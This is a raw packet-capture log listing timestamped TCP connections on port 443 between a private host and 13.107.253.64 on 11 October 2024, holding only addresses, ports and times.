Oct 11, 2024 20:30:20.797189951 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.797200918 CEST	59072	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.797207117 CEST	443	59072	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.799829960 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.799860954 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.799920082 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.800055981 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.800070047 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.801723957 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.801872969 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.801938057 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.801986933 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.802004099 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.802016973 CEST	59070	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.802023888 CEST	443	59070	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.804002047 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.804016113 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.804073095 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.804186106 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.804194927 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.840394020 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.840579987 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.840636015 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.840770960 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.840789080 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.840821981 CEST	59073	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.840828896 CEST	443	59073	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.842451096 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.842514038 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.842648029 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.842787027 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.842817068 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.902878046 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.902960062 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.903013945 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.903208017 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.903229952 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.903244019 CEST	59069	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.903250933 CEST	443	59069	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.905296087 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.905328989 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.905533075 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.905725002 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.905742884 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.942269087 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.942399979 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.942460060 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.942509890 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.942522049 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.942531109 CEST	59071	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.942534924 CEST	443	59071	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.944295883 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.944313049 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:20.944364071 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.944470882 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:20.944480896 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.459610939 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.460108995 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.460129023 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.460544109 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.460551977 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.516684055 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.517115116 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.517129898 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.517493010 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.517498016 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.541693926 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.542068958 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.542099953 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.542476892 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.542484045 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.570333004 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.570355892 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.570395947 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.570408106 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.570441961 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.570682049 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.570700884 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.570730925 CEST	59075	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.570736885 CEST	443	59075	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.573554993 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.573585987 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.573715925 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.573868990 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.573884964 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.632280111 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.632325888 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.632380009 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.632616997 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.632637978 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.632648945 CEST	59076	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.632653952 CEST	443	59076	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.635484934 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.635529995 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.635690928 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.635859013 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.635874987 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.642672062 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.643032074 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.643044949 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.643420935 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.643424034 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.655879021 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.655939102 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.656033039 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.656132936 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.656132936 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.656220913 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.656220913 CEST	59077	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.656264067 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.656295061 CEST	443	59077	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.658339977 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.658354044 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.658701897 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.658701897 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.658727884 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.750253916 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.750689030 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.750765085 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.751091957 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.751107931 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.755640984 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.755775928 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.755830050 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.755837917 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.755876064 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.755933046 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.755945921 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.755954027 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.755959988 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.755965948 CEST	59079	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.755969048 CEST	443	59079	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.758224964 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.758240938 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:21.758299112 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.758430958 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:21.758445978 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.014517069 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.015743017 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.016069889 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.016069889 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.016069889 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.018838882 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.018925905 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.019216061 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.019376040 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.019444942 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.237339973 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.238081932 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.238091946 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.238867998 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.238873005 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.316047907 CEST	59078	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.316101074 CEST	443	59078	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.323941946 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.324495077 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.324515104 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.324939013 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.324949026 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.326400042 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.326800108 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.326809883 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.327142954 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.327148914 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.349267006 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.349571943 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.349639893 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.349725962 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.349725962 CEST	59080	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.349734068 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.349744081 CEST	443	59080	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.352688074 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.352724075 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.352806091 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.352924109 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.352936029 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.417399883 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.418329954 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.418329954 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.418373108 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.418387890 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.442147017 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.442306995 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.442341089 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.442390919 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.442390919 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.442466021 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.442466021 CEST	59081	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.442482948 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.442487955 CEST	443	59081	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.445308924 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.445337057 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.445427895 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.445637941 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.445650101 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.445705891 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.445836067 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.446022987 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.446022987 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.446049929 CEST	59082	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.446057081 CEST	443	59082	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.447946072 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.448019028 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.448082924 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.448206902 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.448240042 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.528609037 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.530286074 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.530391932 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.530467987 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.530467987 CEST	59083	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.530487061 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.530499935 CEST	443	59083	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.532949924 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.533034086 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.533231974 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.533373117 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.533411026 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.611069918 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.611509085 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.611530066 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.611965895 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.611977100 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.724951029 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.725684881 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.725752115 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.725858927 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.725858927 CEST	59084	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.725876093 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.725889921 CEST	443	59084	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.729202032 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.729242086 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:22.729301929 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.729454041 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:22.729466915 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.040102005 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.044045925 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.044059038 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.044508934 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.044517994 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.127937078 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.129334927 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.129347086 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.129801035 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.129806995 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.138765097 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.139100075 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.139158010 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.139422894 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.139436960 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.154927015 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.154947042 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.154974937 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.155038118 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.155038118 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.155266047 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.155281067 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.155324936 CEST	59085	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.155330896 CEST	443	59085	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.159830093 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.159867048 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.160017967 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.168416977 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.168435097 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.186011076 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.186425924 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.186471939 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.186932087 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.186948061 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.243827105 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.244235992 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.244297028 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.244455099 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.244468927 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.244482040 CEST	59086	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.244488955 CEST	443	59086	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.247169971 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.247227907 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.247302055 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.247458935 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.247472048 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.253508091 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.253614902 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.253643990 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.253706932 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.253923893 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.253963947 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.254018068 CEST	59087	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.254034996 CEST	443	59087	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.256051064 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.256094933 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.256146908 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.256244898 CEST	59092	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.256261110 CEST	443	59092	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.293570995 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.293725967 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.293787003 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.293915033 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.293915033 CEST	59088	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.293946028 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.293968916 CEST	443	59088	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.296921968 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.297019958 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.297370911 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.297749043 CEST	59093	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.297782898 CEST	443	59093	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.379678011 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.380312920 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.380331993 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.380983114 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.380990982 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.503139019 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.503454924 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.503540039 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.503627062 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.503643036 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.503650904 CEST	59089	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.503657103 CEST	443	59089	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.506644011 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.506695986 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.506769896 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.506953001 CEST	59094	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.506989956 CEST	443	59094	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.819240093 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.819771051 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.819792986 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.820214033 CEST	59090	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.820219040 CEST	443	59090	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.905908108 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.906641006 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.906728029 CEST	443	59091	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:23.907093048 CEST	59091	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:23.907109022 CEST	443	59091	13.107.253.64	192.168.2.4
